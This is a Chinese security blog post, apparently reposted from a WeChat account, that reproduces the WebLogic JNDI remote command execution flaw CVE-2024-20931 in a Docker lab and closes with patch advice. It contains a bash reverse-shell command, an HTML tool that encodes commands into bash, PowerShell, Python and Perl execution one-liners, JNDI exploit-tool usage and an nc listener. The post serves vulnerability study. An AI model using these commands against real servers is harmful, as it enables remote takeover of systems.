CVE-2024-20931 | Weblogic Server JNDI命令执行漏洞

admin 2024年2月22日16:04:35评论77 views字数 2991阅读9分58秒阅读模式
0x00 文章背景
WebLogic是Oracle公司研发的用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器,在全球范围内被广泛使用。
在Oracle发布的2024年1月补丁中,成功修复了一个基于Weblogic T3IIOP协议的远程命令执行漏洞CVE-2024-20931。此漏洞在2023年10月向Oracle报告,本质上是CVE-2023-21839补丁的一种绕过,牵涉到一个新的JNDI攻击面。
存在此漏洞将可导致服务器被接管,可进行远程命令执行获取服务器控制权限。
CVE-2024-20931 | Weblogic Server JNDI命令执行漏洞
0x01 文章简述
部分操作与Log4J2一致,我们需要用到JNDI注入工具,以及针对于此漏洞的POC或已经编译好的JAR进行利用。
在本文中,我们采用的方法是docker拉取并启动Weblogic镜像,然后使用相关工具进行反弹Shell的操作。
CVE-2024-20931 | Weblogic Server JNDI命令执行漏洞
0x02 漏洞环境
#下载镜像docker pull ismaleiva90/weblogic12

#启动环境docker run -dit -p 7001:7001 -p 7002:7002 --restart=always ismaleiva90/weblogic12:latest
CVE-2024-20931 | Weblogic Server JNDI命令执行漏洞
CVE-2024-20931 | Weblogic Server JNDI命令执行漏洞
CVE-2024-20931 | Weblogic Server JNDI命令执行漏洞
0x03 复现过程
运行针对于 CVE-2024-20931 的利用工具,会让我们填写目标IP、目标端口,以及JNDI恶意服务的地址:
java -jar CVE-2024-20931.jar
CVE-2024-20931 | Weblogic Server JNDI命令执行漏洞
此时,需要使用JNDI工具运行恶意服务,在运行前先对反弹Shell的命令进行编码:
bash -i >& /dev/tcp/192.168.11.51/5557 0>&1
可以将下面的Html保存,直接拖到浏览器即可:
<!--Java Runtime Bash 编码网页源码--><!DOCTYPE html><html><head>    <title>java runtime exec usage...</title></head><body>    <p>Input type:<input type="radio" id="bash" name="option" value="bash" onclick="processInput();" checked=""><label for="bash">Bash</label><input type="radio" id="powershell" name="option" value="powershell" onclick="processInput();"><label for="powershell">PowerShell</label><input type="radio" id="python" name="option" value="python" onclick="processInput();"><label for="python">Python</label><input type="radio" id="perl" name="option" value="perl" onclick="processInput();"><label for="perl">Perl</label></p>

    <p><textarea rows="10" style="width: 100%; box-sizing: border-box;" id="input" placeholder="Type Bash here..."></textarea><textarea rows="5" style="width: 100%; box-sizing: border-box;" id="output" onclick="this.focus(); this.select();" readonly=""></textarea></p>

<script>  var taInput = document.querySelector('textarea#input');  var taOutput = document.querySelector('textarea#output');

  function processInput() {    var option = document.querySelector('input[name="option"]:checked').value;

    switch (option) {      case 'bash':        taInput.placeholder = 'Type Bash here...'        taOutput.value = 'bash -c {echo,' + btoa(taInput.value) + '}|{base64,-d}|{bash,-i}';        break;      case 'powershell':        taInput.placeholder = 'Type PowerShell here...'        poshInput = ''        for (var i = 0; i < taInput.value.length; i++) { poshInput += taInput.value[i] + unescape("%00"); }        taOutput.value = 'powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc ' + btoa(poshInput);        break;      case 'python':        taInput.placeholder = 'Type Python here...'        taOutput.value = "python -c exec('" + btoa(taInput.value) + "'.decode('base64'))";        break;      case 'perl':        taInput.placeholder = 'Type Perl here...'        taOutput.value = "perl -MMIME::Base64 -e eval(decode_base64('" + btoa(taInput.value) + "'))";        break;      default:        taOutput.value = ''    }

    if (!taInput.value) taOutput.value = '';  }

  taInput.addEventListener('input', processInput, false);</script>

</body></html>
CVE-2024-20931 | Weblogic Server JNDI命令执行漏洞
接下来,运行JNDI注入工具:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "编码后的反弹Shell命令" -A "启动恶意服务的服务器IP"
CVE-2024-20931 | Weblogic Server JNDI命令执行漏洞
开启监听,准备接收反弹:
nc -lvnp 5557
CVE-2024-20931 | Weblogic Server JNDI命令执行漏洞
最后,将恶意服务地址填入利用工具:
CVE-2024-20931 | Weblogic Server JNDI命令执行漏洞
发射,爽了~
CVE-2024-20931 | Weblogic Server JNDI命令执行漏洞
CVE-2024-20931 | Weblogic Server JNDI命令执行漏洞
0x04 所用工具
利用工具地址:
https://github.com/dinosn/CVE-2024-20931
其他的懒得再去找地址了,然后我干脆全部打包了。
公众号回复:复现,获取下载链接
公众号回复:解压,获取解压密码
下载完成后,请手动将后缀pdf更改为zip
CVE-2024-20931 | Weblogic Server JNDI命令执行漏洞
CVE-2024-20931 | Weblogic Server JNDI命令执行漏洞
CVE-2024-20931 | Weblogic Server JNDI命令执行漏洞
0x05 修复建议
商已发布补丁,建议及时更新:
https://www.oracle.com/security-alerts/cpujan2024.htmlhttps://github.com/dinosn/CVE-2024-20931
(
END
)

原文始发于微信公众号(犀利猪安全):CVE-2024-20931 | Weblogic Server JNDI命令执行漏洞

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年2月22日16:04:35
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2024-20931 | Weblogic Server JNDI命令执行漏洞https://cn-sec.com/archives/2515437.html

发表评论

匿名网友 填写信息